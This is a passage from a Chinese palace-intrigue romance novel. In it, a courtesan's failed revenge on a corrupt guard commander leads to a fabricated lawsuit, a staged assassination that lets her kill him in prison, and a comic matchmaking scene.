微微一顿,风月转头赔笑:“您还没歇着呢?风月楼出事了,奴婢要去看看。”
殷戈止挑眉,起身从凉亭里走过来,站在她面前看着她道:“你去看了有什么用?”
无权无势,又已经是被赎身的姑娘,去看自然没什么用。眼珠子一转,风月立马跳起来抱住了这位爷,讨好地笑道:“那您去看看呗?”
“麻烦。”
“别啊,好歹奴婢给您的东西都要从那儿来呢,出了事对咱们都没有好处啊,您就当睡不着散个步,去看看吧?”眼睛眨巴眨巴,身子也扭啊扭啊,风月嘤嘤嘤地道:“救人一命胜造七级浮屠。”
斜眼看着她,殷戈止揉了揉眉心:“我有件事正觉得棘手,你要是能帮我解决,那一切都好说。”
“行啊,奴婢能做的都做!”拉着他就往外走,风月道:“边走边说吧,谁的事儿啊?”
“房文心的。”殷戈止道:“你先前不是说,这个人没去过梦回楼,所以不是很了解吗?”
“是这样没错。”风月颔首:“您那单子上的人,也就他一个还没处置好了吧?”
点点头,殷戈止出了门,顺手将她抱上马车,然后跟着坐上去,让观止驾车。
“此人行事缜密,这些天我一直在找他的错漏,然而他与易大将军没有直接来往,平时又不常出宫,实在难以抓着把柄。太子本说他来处置,给那人放了假,企图看看他与谁来往,去什么地方。可最近除了见萧振羽那种小角色,他当真是什么也不做。”
风月听得笑了:“是个聪明人啊!”
“以前是易国如麾下猛将,一身战功无病无痛,却甘愿退回来当了个禁军副统领。”殷戈止淡淡地道:“易大将军很会调教部下。”
这十几年来,忠心于他的人,都慢慢从战场上退下来,到国都各地方当了不大不小的官。他的举荐,吴国皇帝自然不会拒绝,但日积月累的,这朝中兵将,大多都成了易国如的人,真要是出事,恐怕连皇命都不会听。
老皇帝压根没有居安思危的意识,幸得一个太子殿下颇为聪慧,不然,这天下还当真没人能奈何得了易国如。
只是,太子殿下也激进了些,如今的情况,要么在易国如回来之前将这些爪牙拔干净,要么就将拔了的爪牙,统统安回去恢复原样,不然等老虎回窝,这一番撕咬,太子殿下未必能赢。
轻轻敲着坐垫,殷大皇子一点也不想承认是自己跟风月弄到的这么多东西使得太子殿下不得不激进,太子跟易大将军斗嘛,他们只是无辜的旁观者而已。
“此事,奴婢会尽力的。”风月道:“但现在,请公子务必救何愁一命。”
“她很重要?”殷戈止问。
皱了皱眉,风月道:“我梦回楼的每一个姑娘都很重要。”
看她一眼,殷戈止没再说话,伸手拉了她的手放在掌心,轻轻握住。
一颗心顿时就安定了下来,风月抿唇,轻轻舒了口气。
晚上的招摇街依旧是热闹非凡,只是这回梦回楼的门口围满了人,官差刚好到了,正架着何愁,要往囚车上押。
金妈妈在旁边着急地跺脚:“官爷,官爷!我家姑娘有什么过错啊?没到要见官的地步吧!还用囚车……哎哎,咱们以后怎么做生意啊?”
官差哪里肯听她的,照旧押着人,金妈妈见状,立马朝旁边那恩客求情:“您大人有大量啊,有话咱们好好说。”
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拨开人群,风月看见的就是那一脸严肃的恩客负手而立,脸上满是恼怒的表情。
“出什么事了?”殷戈止问了一声。
萧振羽正烦着呢,听见这问题就挥手:“别瞎问了,有话去公堂上说吧!”
旁边的房文心却是一愣,看了殷戈止一眼,脸色大变,拽着萧振羽转身就要走。
“房大统领?”步子还没迈开,就听见殷戈止平静的声音在他面前响起:“您怎么来了这儿?”
暗暗喊了一声糟糕,房文心僵硬了身子,好半天才缓缓转过头来,朝着殷戈止拱手笑道:“您也在这儿?真是巧了。”
“在下路过罢了。”看了看那边还被押着的何愁,又看了看四周围着的百姓,殷戈止问:“这是闹的哪一出?”
等看清了这人的脸,萧振羽脸都白了,连忙拱手行礼:“殿下,咱们只是来喝喝酒,没想到遇见有人行刺,所以报了官。”
“行刺?”殷戈止疑惑地问:“谁那么不要命,敢行刺二位统领啊?”
趁着他们说话没注意,风月猫着腰就溜到何愁身边,将两个官差瞪得松了手,然后拉着何愁小声问:“你动手了?”
“等了这么久,怎么能不动手?”何愁闭眼,嘴唇发白:“但是我高估了自己,低估了他。”
房文心是很少出来的,她等了这么多年也不见他来梦回楼,好不容易遇见个认识萧振羽的恩客,她花了好大的力气才让萧振羽能邀房文心一起来梦回楼。这机会可能一辈子就这么一次,不杀的话,报仇就只能下辈子了!
但,失败了,报仇也只能下辈子了。
何愁很恨,恨得手都捏得泛白,然而没有用,她可能保不住命了。
正想着,手就被人揉开了。何愁一愣,转头看向旁边的人。
风月笑得很温柔,眼里亮晶晶的,低声道:“真是运气好,幸好是他要弄死你,换做别人,有人可能就当真嫌麻烦不管了。”
这是什么意思?何愁没听明白,一脸茫然。房文心可是禁军副统领啊,为什么幸好是他?
不过很快她就知道了原因——那头施施然站着的白衣公子道:“刺杀朝廷命官,关系重大,在下陪大人一起去一趟衙门,问问缘由吧。”
房文心沉默良久,突然开口道:“也许是卑职误会了。”
“嗯?”
“卑职也没看清楚那女子是在做什么,只觉得她拿了发簪,看起来像是要行刺,其实也不敢肯定。”
“哦?”殷戈止挑眉,转头看着何愁问:“这位姑娘,你是要行刺吗?”
何愁有点傻眼,还是被风月掐了一下才回神,连忙低头道:“奴家冤枉,奴家只是想换个发簪而已。”
“这样啊。”殷戈止点头:“那就不必闹得这么人心惶惶的了,房大人,相请不如偶遇,咱们上去再喝两杯如何?”
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第90章 当个坏人吧
房文心哪里还有心思喝酒,当下就摇头:“卑职还有要事在身,得先走一步,还望殿下海涵。”
先前还喝花酒呢,现在就有要事在身了?风月觉得这借口找得很差劲,然而场面话,人家说了殷戈止也就应了,拱手道:“那大人慢走。”
梦回楼门口的官差很尴尬,正想问这人还抓不抓了?就被萧振羽挥着手一并带走了。
金妈妈感动得要哭了,上来就朝着殷戈止作揖:“多谢公子,多谢公子,您真是慈悲为怀菩萨心肠……”
菩萨心肠的殷戈止微微颔首,一点也不要脸地承了这夸奖,然后道:“换个地方说话吧。”
金妈妈点头,连忙引着他进门。风月低头跟在何愁旁边进去,一边走一边道:“等会他问你什么,你就答什么,一点也别遮掩。”
何愁怔愣,有些不明白地看了她一眼,心思几转,最后还是垂了眸子应下。
几人进了何愁的房间,里头还是一片混乱的状况,灯台倒着,簪子放着,床上的被子也半落在地上,碎了的珠玉零落了半间屋子,倒让人无从下脚。
“失礼了。”何愁颔首,稍微收拾了一番,请殷戈止到桌边坐下。
金妈妈转头去清理围观的姑娘们,屋子门关上,殷戈止直接开口问了一句:“你杀他做什么?”
身子微微一抖,何愁很想狡辩一下,他怎么就知道自己一定是想**呢?但是一想到风月刚刚说的话,她抿唇,犹豫了片刻之后道:“有仇。”
“你们梦回楼的姑娘与人有仇的还真不少。”拿起桌上那尖得瘆人的簪子,殷戈止碰了碰簪尖,指头就溢了血。
“公子。”风月低呼,立马狗腿地过去拿帕子给他捂了手,一脸关切地道:“您没事儿吧?”
斜她一眼,殷戈止还算满意,伸手将她抱在怀里,让她好生捏着自己的手,然后抬头继续看着何愁。
“奴家的仇……不是自己,根本报不了。”何愁垂眸:“他是堂堂禁军副统领,奴家只是个家破人亡的妓子。”
“所以,仇从何来?”殷戈止问。
何愁叹息:“公子可知一年前的皇恩?恩赏参军作战归来卸甲之人,良田百亩。一年前奴家是个农家的孩子,家里有良田,听说了恩旨还觉得皇恩浩荡,谁知道分划田地之时,房统领麾下之人硬是将我家五十亩地统统划归房统领名下,还说是皇上的恩旨,愚民不得反抗。”
说着,看了看殷戈止毫无波澜的脸色,她叹了口气:“占地之事屡见不鲜,他们是官,我们是民,若是只占一半,给我家留个生计,那兴许爹爹就忍了。”
可惜没有,他们被逼得搬离住了十几年的家,她爹一气之下找了师爷一纸诉状告上衙门。谁知道,等来的不是衙门传召,而直接是一群穿着盔甲的畜生,将她爹活生生打死在他们一家人面前,娘亲当场跟着自尽。她没有反应过来,只知道哭,也不知道跑,被那群畜生压在田地里糟蹋了。八岁的弟弟想来救她,被人一挥手摔出去老远,头磕在石头上,血流了一大滩。
那群士兵是何愁一辈子的噩梦,午夜梦回之时,记得最清晰的就是他们的笑声,以及为首那人分外张狂的一句话:“区区平民,也敢告房大统领?不自量力,**干净!”
何愁伸手,苦笑道:“可不就是区区平民吗?拿什么与官斗?这一状就算当真能告上去,皇上还能为着一家平民,砍了一个禁军副统领的脑袋?不会的,所以奴家只能自己来。”
“可惜,奴家不中用,那一簪子没能捅破他心口,反而落在他手里。今日就算逃过一劫,来日恐怕也不会有好日子过。”
感觉到怀里的人身子僵硬,殷戈止顺手摸了摸她的头发安抚了一下,然后道:“既然知道不会有好日子过,那你愿不愿意放手一搏?”
微微一愣,何愁神色复杂:“公子此话何意?”
“城里最近很多高官**。”殷戈止道:“说不定你再告他一状,他也能得到报应。”
告状?何愁失笑,笑得无奈极了:“奴家家破人亡,已经什么证据都没了,拿什么告状?”
“告状这种事情,要证据吗?”殷戈止问。
“不要。”怀里的风月认真地接了个嘴,然后笑眯眯地看着何愁道:“被占地的肯定不止你一家人,何愁姑娘,只要你能找到其他受害人……找不到也没关系,我给你弄点人出来,去告上房文心一状吧。衙门会受理去查,一旦查了,就能有证据,剩下的事情就不必你担心了。”
何愁愕然,震惊地看着这两个人:“这……不要证据……弄点人出来?”
“对,不用讲什么道义,先把坏人弄死,咱们再遵守仁义道德。”风月笑得痞里痞气的:“这种事,这位公子最在行了。”
不满地捏了捏她的手,殷戈止问:“我在你心里就是个坏人?”
“公子,当好人多没意思啊,要被坏人欺负,还要被一大堆规矩束缚,有仇不能报,想**不能杀,哪里符合您这般潇洒不羁的气质?”风月扭头,一本正经地道:“咱们还是当坏人吧!”
摇了摇头,殷戈止叹息,对着何愁道:“她最近有些放肆,不过这些话,姑娘还是听进去吧,今晚不妨就跟着咱们去使臣府,最为周全。”
目瞪口呆地看了看面前这两个人,何愁莫名地觉得有点羡慕,而后点了点头,拿了两件衣裳,跟着他们走。
“金妈妈。”风月打开门就吆喝:“回头客啊,咱们这儿有位公子要给何愁姑娘赎身啦!”
这一嗓子,众多的姑娘就都看了过来。金妈妈张大了嘴,瓜子都掉地上了,连忙跑过来打算盘:“赎身好啊,赎身好,公子是老顾客了,给抹个零头,承惠三百两整。”
殷戈止很是厚颜无耻地道:“她要赎人,自然是她给银子了。”
风月左右张望,很想问“她”是谁啊?结果就见只狼爪子伸到了自己的袖袋里,掏出三张百两的大额银票来。
我靠!风月瞪眼,这还要不要脸了?
殷戈止面无表情,没办法,他表面上是个一贫
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如洗的质子。
那也不能拿她的棺材本啊!
等你**,我给你做棺材。
风月:……
最后还是败下阵来,她松了手,任由这人拿走了她的银票,放进了金妈妈手里。
金妈妈笑得眉毛不见眼的,很是放心地就让他们把人带走了。
观止忧心忡忡地赶着马车,心想自家主子要是总这样往府里带人,那使臣府最后会不会就成了梦回楼了?
这种担心显然是多余的,殷戈止将何愁放在了客院,然后名正言顺地抱着风月回了主院休息。
“殿下。”风月满目忧愁:“这一状当真能给那房文心定死罪?”
“不能。”殷戈止摇头。
**瞬间就炸了,风月柳眉倒竖:“不能还告来做什么啊?咱们直接想法子把他切了吧!”
嫌弃地斜她一眼,殷戈止伸手就往她嘴里塞了核桃:“多长长脑子,占地罪不至死,麾下人**也可以让下头的人顶罪,可上头还有个磨着刀的太子殿下。”
就算罪不至死,在这个易大将军即将回来的节骨眼上,叶御卿一定不会让房文心活着。
眉头一松,风月咧嘴就笑,安心地倒在他怀里,由衷地感叹:“有您在真是太好了。”
至少现在这个时候,不用她孤军奋战。
心口微微一软,殷戈止摸了摸她的头发,将人抱起来,放到床上去:“大夫说你体虚,多休息吧。”
屋子里的灯灭了,使臣府又是一片宁静。
两日之后的太尉衙门门口,何愁一身农妇装扮,带着三十余农民,齐刷刷地捆着白额,举着血红的“冤”字大旗,跪成了一个半圆。
这场景实在壮观,引得百姓纷纷指点询问情况,然而跪了一个时辰,廷尉衙门的大门也没开,只有官差出来道:“民案前往京兆尹衙门即可。”
何愁高声道:“民女所告,乃禁军副统领,四品官员房文心,京兆尹衙门无权受理,还望太尉大人体察民情!”
此言一出,官差都给吓得进去了,太尉衙门大门紧闭,依旧没有开。
于是半个时辰之后,太子殿下“无意间”路过了,看着这场景,大为恼怒,上前就让人砸开了太尉府的大门,亲自升堂,询问这群百姓的冤情。
“太子殿下将来会是个很好的皇帝啊。”坐在殷戈止的怀里,风月一边感叹一边喝补药:“能这么路见不平,实在是各国皇子楷模。”
抱着她的魏国皇子冷笑了一声。
被这声音吓得一哆嗦,风月立马转头:“不过再楷模,也比不得咱们魏国的大皇子,上能杀敌,下能草书,受万民爱戴……”
“闭嘴。”殷戈止低斥。
风月一点也不被他吓唬,笑眯眯地把补药给他分享一口,然后道:“奴婢最喜欢您了!”
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第91章 忘忧
凶恶的表情僵了僵,殷戈止别开头,嘴角轻抿,眼神瞬间就柔和了不少。
也不知是谁说的,嘴硬的人心最软。风月笑眯眯地看着他,捏着软刀子往她心口一个劲儿地捅:“您喜欢奴婢吗?”
“不喜欢。”
“为什么呀?”
“……”
“说不出理由,那就是喜欢!”笑得花枝乱颤,风月伸手勾了勾他的下巴,媚眼横生:“难得能有殿下的喜欢,奴婢真是高兴。”
伸手掐着她,殷戈止道:“你老实点!”
老实了还有什么意思?风月咧嘴,张口就咬在他的下巴上。
使臣府是个世外桃源啊,任这不阴城怎么风云变幻,她都能安安心心地跟这人嬉闹。这种与强者为伍的快感,要好好珍惜才是。
房文心被叶御卿扔进了大牢,进去之前恶狠狠地看着何愁道:“我不会放过你的!”
何愁低眉顺目地站着,一言不发,看着他被戴上锁链,眼里余愁不散。
“这位姑娘。”冯闯过来朝她拱手:“这边请。”
疑惑地看他一眼,何愁道:“该告的民女已经告了,殿下也已经审结,现在要去哪里?”
冯闯没多说,挥手就让人架起她,塞进太尉公堂旁边的小房间里。
“你看起来很恨房大人。”叶御卿坐在那房间里,摇着扇子微笑着看着她:“方才公堂上字字句句,都满是怨气。”
何愁低头:“多谢殿下秉公办案。”
她不恨,那谁来恨呢?
“可惜这案子本宫也定不了他的死罪,你的家人却是已经死完了。”叶御卿叹息:“会不会不甘心?”
看他一眼,何愁皱眉:“当然不甘心。”
“那本宫再给你个机会如何?”
“什么机会?”眼里一亮,何愁期盼地看着他。
叶御卿笑道:“这儿有一把**,你先刺我一刀,接着就会被关在房文心的牢房里。”
微微一震,何愁皱眉:“奴家弱质女流,不是房统领的对手。”
“这个你不用担心。”叶御卿道:“只要你进去了,便可以杀了他。只是……杀了他之后,你未必能离开。”
“好。”想也没想,何愁点头就应了,接过他手里的**,立马就要往他身上捅!
哭笑不得,叶御卿合了扇子挡住她,低声道:“别着急啊,本宫可不能当真受伤。”
说着,拿出一个鼓鼓的羊皮袋来,塞进怀里。
何愁看得傻眼,手却被他给抓住了,温柔又坚定地抵着那羊皮袋的位置,示意她捅。
冰凉的手被他温热的手掌握着,有那么一瞬间何愁竟然觉得很舒坦。不过她可没真傻,没忘记眼前这人是谁,定了定神,力道恰好地将那羊皮袋捅破。
鲜血顿时染了这人绣龙纹的衣裳,叶御卿痛苦地低喝一声:“抓刺客!”
外头的冯闯早就准备好了,进来便将何愁带了下去,手里的**也没没收,一路拎着她扔进了牢房。
落在松软的稻草堆里,何愁怔忪片刻,立马回神,警惕地看着四周。
阳光从小小的窗口照进来,这牢房里就两个人,除了她,另一个人不知怎么的,睡得很沉。
眯着眼睛看清了这人的脸,何愁的手微微颤抖,捏着**慢慢地靠近他身边,深吸一口气,一刀就朝他心口狠狠扎了下去!
正在嬉闹的风月突然就僵硬了身子,皱眉抬头看了一眼天。
“怎么?”殷戈止睨着她:“中邪了?”
“奴婢突然想起一个问题。”喃喃地说着,风月转头看他:“要是房文心平白无故死在大牢里,官职仍在,想必其家人不会善罢甘休,那他要**,才合情合理?”
殷戈止淡淡地道:“被仇人杀死。”
“对啊!”风月眯眼:“所以他仇人要是当真动手了,会是什么下场?”
“**偿命。”
一股子凉意从脚底板升到心窝子,风月打了个寒颤,抓着他的衣襟就道:“太子想让何愁顶罪?!”
“不是顶罪。”殷戈止道:“是她自愿的,她想报仇,太子给她机会报仇。”
可报仇之后呢?风月睁大眼:“她会死的!”
“活着也没什么意思。”
“别人的性命,有没有意思也该她自己来说,您在这儿说什么风凉话?!”风月怒了:“她可以继续活下去的!”
沉了脸色,殷戈止道:“你胆子大了,敢冲我吼了?”
“……”委屈地一扁嘴,风月软了语气:“奴婢也不是要吼您,但……”
“她自己选的路,与你何干?”
“可……”
“她不死,难道让与这事毫不相干的人来死?”殷戈止慢条斯理地道:“说了想当坏人,你就别存慈悲之心,谁也救不得苦厄众生。”
风月红了眼。
她不是大慈大悲的人,可她想梦回楼的姑娘们报完仇都能好好活着,已经够苦的了,总要给老天爷一个机会用时光补偿她们。
抱起她,殷戈止往床榻的方向走,语气冷淡地道:“与其操心别人,你还是想想自己吧,大夫说你体寒,将来可能不能生育。”
“哦。”心不在焉地应着,风月道:“不能生就不能生吧,生了还麻烦。”
手一僵,殷戈止眯眼,突然问了一句:“你每次伺候我,事后是不是也要喝绝子汤?”
“这是自然。”风月颔首:“奴婢这样低贱的女人,总不能怀上您的贵种。”
青楼女子都得喝这个的,她也不例外。
殷戈止点头,表情很平静,伸手却是毫不留情地就将她扔在了床上,“咚”地一声巨响。
风月龇牙咧嘴地捂着腰,哭笑不得地道:“您这是想让奴婢这么做,还是不赞同奴婢这么做?”
“事后一碗汤,是规矩。”殷戈止面无表情地道:“你该喝就喝。”
说完,转身就出去了。
躺在床上的风月眯眼,低头想了想,长叹了一口气。
房文心**,朝廷里一片哗然,有言官当朝站出来指责太子为政暴戾,滥杀无辜,却被太尉府送上来的凶手证词弄得哑口无言。
“本宫暴戾?”叶御卿笑得温和:“本宫只是行律法当行之事,**,
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都是他们自己的业果,与本宫有什么干系?”
言官们敢怒不敢言,太子殿下大手一挥,让宗正在不阴城中多做准备,迎接易大将军班师回朝。
爪牙清理得不少,老虎回窝也得疼上一段时间,现在把该收拾的都收拾了,不阴城里的血腥味儿可不能太重。
“殿下。”冯闯在他耳边低声道:“何愁姑娘被关在死牢里了。”
想起那女子眼里的决绝,叶御卿展开扇子笑出了声:“倒是帮了本宫很大的忙,也是个靠谱的人,正好本宫身边缺个体贴的宫女,你想想办法吧。”
冯闯一愣,不由地皱眉:“殿下,此女子心狠手辣……”
“仇怨太深罢了。”叶御卿道:“现在大仇已报,她怕是对本宫感念于心,想报恩还来不及。有绝对忠心的姑娘,不留在身边,岂不可惜?”
冯闯想了想,低头应是。
于是何愁行刑这日,风月就坐在何愁本人旁边,目瞪口呆地看着对面的叶御卿。
“太子殿下……”
“她是本宫新收的宫女,叫忘忧。”
殷戈止眼里波澜不惊,喝着茶眼皮都没抬一下,倒是风月激动得两眼水汪汪的,抓着忘忧的手连连道:“殿下真是个好人,殿下真是个大好人!”
忘忧依旧是一副端庄寡言的模样,眼里积郁已散,整个人看起来更加乖顺,朝着她微微一笑:“让姑娘费心了。”
“没事没事。”风月道:“本来以为你要**,我还在想怎么跟金妈妈交代,现在好啦,可以睡个安稳觉了!”
叶御卿失笑,摇头道:“风月姑娘操心的事情还真不少。”
“是啊是啊。”认真地点头,风月抓了自己的一缕秀发,委屈地道:“头发都要操心白了。”
看了一眼她那黑得跟墨水似的的头发,殷戈止嗤了一声,摇了摇头。
睁着眼睛说瞎话的本事越来越厉害了。
“说起来,殿下是不是很久没去看珠儿了?”侧头看着殷戈止,叶御卿道:“易大将军已经抵达不阴城境内,想必明日就会进城。最近珠儿可受了不少的苦。”
更重要的是,还有很多东西没放回将军府的客房。
殷戈止颔首:“等怀祖到了,在下就要去将军府拜访。”
“徐都尉?”叶御卿挑眉:“您同他一起?”
“自然。”殷戈止道:“徐家先前与宋家订了亲事,两个孩子一直没机会见面,徐将军的意思,反正都是要成亲的人了,找个由头坐下来喝喝茶,知己知彼也好。”
风月一愣,眨眨眼,突然问了一句:“那宋家小姐的未婚夫,是徐都尉?”
“正是。”
呵呵笑了两声,风月道:“奴婢也想一起去。”
上次虽然说是她自己找打的,但宋家小姐那落井下石的高兴样子她现在还记得呢,多好的机会啊,不去看看怎么行!
“自然是要带上你。”殷戈止道:“总要去谢谢人家教的规矩。”
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第92章 徐家的婚事
这话说得正正经经的,旁边的两个人都没听出来什么,风月一顿,倒是意外地看了他一眼。
难不成记仇的不止她一个啊?还是说那顿板子打在他护心麟上,痛在他心口?
莫名地更兴奋了一点,风月翘着脑袋就等着徐怀祖来。
叶御卿看着他们,突然侧头问了忘忧一句:“你觉不觉得,他们俩越长越像了?”
忘忧一愣,小心翼翼地看了他一眼,而后低头道:“风月姑娘傲视群芳,殷殿下风华绝代,若说相貌,自然是南辕北辙,可若说这一身气质……是挺像的。”
尤其是那种让人瞧着背后发凉的感觉,简直一模一样!
叶御卿摇头低笑,他失了至宝,换了条臂膀,看起来是挺划算的,但是瞧这两人这么好,难免有些微的不悦。不过罢了,江山在前,美人何重?
徐怀祖没一会儿就到了,一身灰锦绣着时下盛行的蛇形纹,看起来英气又潇洒,铜冠束发,与别的玉面公子不同,独有一股子大将之风。
“师父、殿下。”上来就规规矩矩地行礼,徐怀祖笑得露出一排白牙:“该去将军府了。”
叶御卿颔首:“你的终身大事可不能耽误,还请殷殿下这就动身吧。本宫也该先回去了。”
“恭送殿下。”徐怀祖低头拱手,看着那绣龙的靴子踏远了,才松了口气,转头喊:“师父……”
这声音里充满着委屈和不甘,听得殷戈止挑眉:“不想去将军府?”
垂头丧气地坐下来,徐怀祖道:“男子汉尚未建功立业,谈什么儿女情长?我爹也真是的,生怕徐家香火断了一样,这么早就给我定下姻亲。”
风月笑眯眯地道:“安少爷也定了姻亲呀,您总不能落在他后头。”
说起这个,徐怀祖就更烦了:“可不是嘛?他定了亲,所以最近都不跟我一起练早课了,就躲在府里瞎打扮,跟个大姑娘似的!您说说,谁家姑娘能喜欢他那样的?”
殷戈止掀了掀眼皮:“我倒是听说,他最近打不过你,所以躲在府里刻苦练功。”
“是这样吗?”徐怀祖皱眉:“那早说啊,我让让他不就好了?都是穿一条裤子长大的,计较什么输赢?”
风月失笑,这徐家少爷性子耿直,安家公子倒是更细腻些,在意个输赢也很正常。
“行了,走吧。”殷戈止起身道:“让人家在将军府等太久也不好。”
叹了口气,徐怀祖跟着站起来,走在风月旁边,嘴里念念有词:“真是麻烦啊,要见面一起出来吃个饭不就好了?非在将军府,我就不喜欢那地方……”
“为何?”风月笑问。
“总觉得不舒坦,四周都怪怪的。”徐怀祖撇嘴。
四周都是机关,当然怪怪的。风月笑着摇头,问了他一句:“您见过那宋家小姐了吗?”
“没有。”徐怀祖满脸忧愁地道:“听媒人说了,是个端庄贤惠的姑娘,口舌不多,也会持家,精通书画,写得一手好词。想想也不会太差,但听着也没多喜欢。”
他还是喜欢性子冷清点的,话不多,有主见的那种。不然以后成亲,没事就对他指手画脚,那多烦人啊?
“奴婢见过了,长得还不错,不会辱没您。”风月道:“至于口舌多不多,您得见了才知道。”
“哦?”徐怀祖来了兴趣:“风月姑娘怎么会见过的?”
“上回随殿下去将军府,有幸见识。”
上回?徐怀祖一愣,当即皱眉:“上回观止说,您是带着伤从将军府回去的啊,在下一直没问,是出什么事儿了?”
风月眨眼,正犹豫着要不要说,就听得前头慢悠悠走着的殷戈止道:“没出什么大事,就是几家小姐帮着珠儿出气,给了风月点教训。”
好家伙,这话说得,把她自己打赌找揍的剧情都给跳过了,风月咋舌,心想这听起来像不像告恶状啊?
徐怀祖一顿,接着就沉了脸:“怪不得非得去将军府看人,敢情也是个喜欢攀着高枝狐假虎威的?”
“人到底如何,不能只听媒人说,也不能只听我们说。”踩着矮凳上了马车,殷戈止道:“你去看看才知道。”
点头应了,徐怀祖还是有点恼,伸手将风月扶上车,自己跟着上去,然后沉声道:“师父身边也没别的人,徒儿一直将风月姑娘当成半个师娘,她又是以徒儿的名义送来师父身边的,要是有人欺负她,那就是跟徒儿过不去!”
鉴于上次说风月像师娘被狠狠教训了一顿,徐怀祖这次学乖了,说半个师娘,还小心翼翼地打量了自家师父一眼。
哪知这次殷戈止完全没在意,反而颔首道:“你有心了。”
……这是被认可了?徐怀祖愕然,看了看殷戈止,又看了看他旁边乖乖依偎着的风月,下巴差点掉了。
几天没见,这两位的感情怎么好了这么多?
伸手抬了抬下巴,徐怀祖握拳!既然师父都默许了,那他一定要为风月姑娘讨个公道!
宋若词满心欢喜地在花厅里等着,手里的帕子揉得都要烂了,看得易掌珠好笑地道:“这么紧张做什么?他又不**。”
“您不知道,出来的时候母亲就跟我说,一定不能留差了印象,不然婚事坏了也说不准。”
徐家公子年纪轻轻就当上了护城军都尉,这样的好亲事,就算是王公贵族的女儿,也难得一遇。既然落在她头上了,她就得好好掌握才是!
易掌珠笑着摇头,正想打趣她两句,就听得点钗进来道:“主子,人都到门口了。”
放下茶盏,易掌珠连忙出门去迎,宋若词跟在她后头,脸上绯红一片。
门口家丁站成了两排,殷戈止带着人下车,就对上了易掌珠温柔又委屈的眼神:“殷哥哥终于舍得来看珠儿了。”
微微颔首,殷戈止挥手让人去搬车上的东西:“近日闲暇,你府上事务又多,故而没来打扰。今日怀祖要来,正好便来还上次借将军府的书。”
说完,徐怀祖就出来朝易掌珠行了一礼:“易小姐。”
后头的宋若词心口呯呯直跳,眼神飘忽了半天,终于鼓足勇气抬头看了徐怀祖的方
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向一眼。
徐怀祖抿唇,转身就扶了行礼的风月一把:“姑娘伤还没好完,当心些。”
宋若词愣住了,易掌珠瞧着也皱了皱眉,淡笑道:“风月姑娘也来了。”
“本是不该叨扰,可殿下身边要人伺候,奴婢便跟来了。”风月笑得很是欠揍:“易小姐安好,宋小姐有礼。”
宋若词脸都青了,她是养在闺阁里的小姐,对外头发生的事情都不太知晓,为什么徐怀祖对这个女人这么好啊?
完了完了,来的路上她肯定就已经说过自己的坏话了,那徐少爷会怎么看她!
“先进去说话吧。”易掌珠没注意宋若词的表情,只看着殷戈止道:“爹爹马上要回朝,珠儿还有很多事情没做完,望殷哥哥帮帮忙。”
“好。”殷戈止应了,抬脚跨进门。
风月低头跟在后面,本想走最后,谁知道徐怀祖就拉着自个儿的胳膊跟他并排,小声嘀咕道:“风月姑娘,怀祖的终身大事就靠您了!”
啥?风月眨眼:“您的终身大事,不是在宋小姐身上吗?”
“就是因为在她身上,所以要靠您试出她真的品行呗,不然娶错了人,怀祖这一辈子就毁了!”
瞧他这一脸凝重的模样,风月失笑,点了点头:“好。”
于是,本应是易大小姐引走殷戈止,让两个未婚男女好好聊天的,最后就变成了三个人一起坐在凉亭里,两个人笑眯眯的,独宋若词绿着脸。
“宋家小姐。”徐怀祖微笑着开口:“听人说,小姐擅长写词。”
勉强笑了笑,宋若词看了风月一眼:“徐公子若是要论诗词,咱们换个地方可好?”
“就这儿便不错。”徐怀祖道:“小姐害羞?”
不是害羞,是害怕!戒备地看着风月,宋若词忍不住问了:“这位姑娘为何坐在这里?要是没记错的话,她是殷殿下的侍女。”
“没错,是我送给师父的侍女。”徐怀祖点头,笑着道:“听说上次在将军府学了些规矩,承蒙小姐帮忙指点了。”
心里一沉,宋若词皱眉就道:“公子莫要听人胡言,上次在将军府,小女子什么也没做过!”
风月低头嗑瓜子,动作优雅,事不关己。
徐怀祖点头:“是我误会了?风月还说小姐对她颇为照顾,想好生感谢。”
她会这么说?宋若词不信,可眼下这气氛实在太尴尬了,犹豫再三,她还是道:“感谢就不必了,不过风月姑娘可否回避一二?我有话想单独跟徐少爷说。”
风月点头,很是乖巧地就捏着瓜子去庭院里背对着他们站着。
徐怀祖依旧笑着看着宋若词,后者却严肃了神色,低声道:“徐少爷,小女子与这风月姑娘的确是见过,指点谈不上,但她无丝毫自知之明,妄图与易大小姐争抢殷殿下的宠爱,实在过分,还请少爷小心此人,莫要被其容颜迷惑。”
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第93章 不毁一桩亲
“哦?”看了风月的背影一眼,徐怀祖也跟着严肃起来,星眸灼灼地盯着宋若词:“真有这样的事?”
“上回这将军府里闹得沸沸扬扬,几家小姐都在,公子若是不信,随意找谁来问问就知道。”见他肯听,宋若词便说得起劲了,往他面前凑了凑,眼神古怪地道:“而且听闻她还是个青楼女子,说话粗俗不堪,您送人去殷殿下身边,也没提前看好她是个什么人么?”
徐怀祖扶额:“啊,还真是没看好。”
“那现在把人送走也不晚。”宋若词摇头,一副苦口婆心的样子劝道:“虽说男人都喜欢女子美貌,可有的人美貌没用,绣花枕头一包草。不止女人,男人也有相貌堂堂却无甚涵养的,像您这般才貌双全文武俱佳的公子,倒是不多见。”
好么,这说着说着还夸了他一把?徐怀祖笑了笑,道:“过奖,宋小姐看起来眼界颇高。”
脸上一红,宋若词低头道:“公子说笑。”
“毕竟都是高门出身,眼界高是自然的。”他咧嘴,笑得很是爽朗:“在下的眼界也不低。”
微微一顿,宋若词抬头看他,大着胆子打趣一句:“那小女子能被公子看上,倒是有些本事。”
“嗯。”徐怀祖点头:“在下向来最喜欢寡言少语,精明聪慧之人,不在背后说人长短,不惹俗事关系纠葛,很省心。宋小姐恰好就是在下喜欢的这类人,想来你我成亲,也必定是一段好姻缘。”
风月听得一口瓜子喷了出去,呛咳了两声。
宋若词愕然,一时间没反应过来这话是什么意思,等反应过来的时候,整张脸霎时涨红,臊得坐不住,眼泪儿一冒,起身就要走。
“宋小姐怎么了?”徐怀祖一脸无辜:“在下说错话了?”
宋若词停住步子,又气又疑惑地回头问他一句“公子方才说的话,都是真心的吗?”
“为什么不是真心?”徐怀祖笑得真诚:“小姐这样蕙质兰心,善良温柔的姑娘,也是少见呢。”
笑得是真诚了,话说出来却是有八成的讽刺意味,连站得很远的风月都听出来了,更别说对着他的宋若词。
气得跺脚,宋若词又是委屈又是觉得被羞辱,扭身就哭着跑了。
风月回头,目瞪口呆地问了一句:“徐少爷,您这辣手摧花的本事跟谁学的?”
徐怀祖坏笑,朝天一拱手:“承蒙师父教导。”
风月:“……”
想起某个人辣手摧花的本事,她打了个寒战,摇头道:“宋小姐是与您定了姻亲的,您这样不怕回去挨骂?”
